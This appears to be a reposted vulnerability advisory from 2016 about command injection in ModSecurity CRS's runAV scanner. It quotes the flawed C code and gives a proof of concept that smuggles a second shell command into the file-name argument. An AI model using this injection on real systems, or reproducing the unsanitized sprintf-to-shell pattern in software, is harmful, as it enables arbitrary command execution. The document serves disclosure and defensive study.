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runAV mod_security - Arbitrary Command Execution
[# Title : runAV mod_security Remote Command Execution
# Date : 13/05/2016
# Author : R-73eN
# Tested on : mod_security with runAV Linux 4.2.0-30-generic #36-Ubuntu SMP Fri Feb 26 00:57:19 UTC 2016 i686 i686 i686 GNU/Linux
# Software : https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/master/util/av-scanning/runAV
# Vendor : https://www.modsecurity.org/
# ___ __ ____ _ _
# |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | |
# | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | |
# | || | | | _| (_) | |_| | __/ | | | / ___ \| |___
# |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|
#
#
#include "common.h"
main(int argc, char *argv[])
{
char cmd[MAX_OUTPUT_SIZE];
char output[MAX_OUTPUT_SIZE];
int error;
char *colon;
char *keyword;
if (argc > 1) {
sprintf (cmd, "/usr/bin/clamscan --no-summary %s", argv[1]);
output[0] = '\0';
error = run_cmd(cmd,output,MAX_OUTPUT_SIZE);
+++++++++++++++++ OTHER CODE +++++++++++++++++++++++++++++++++
The argv[1] parameter is passed unsanitized to a sprintf function which sends the formatted output to the cmd variable,
which is later passed as a parameter to a run_cmd function on line 14.
https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/master/util/av-scanning/runAV/runAV.c#L14
POC:
snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ ./runAV "foo.php;touch /tmp/pwn3d"
sh: 1: /usr/bin/clamscan: not found
1 exec empty: OK
snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ ls -la /tmp/ | grep pwn3d
-rw-rw-r-- 1 snort snort 0 Maj 13 16:45 pwn3d
snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$
# 0day.today [2024-07-03] #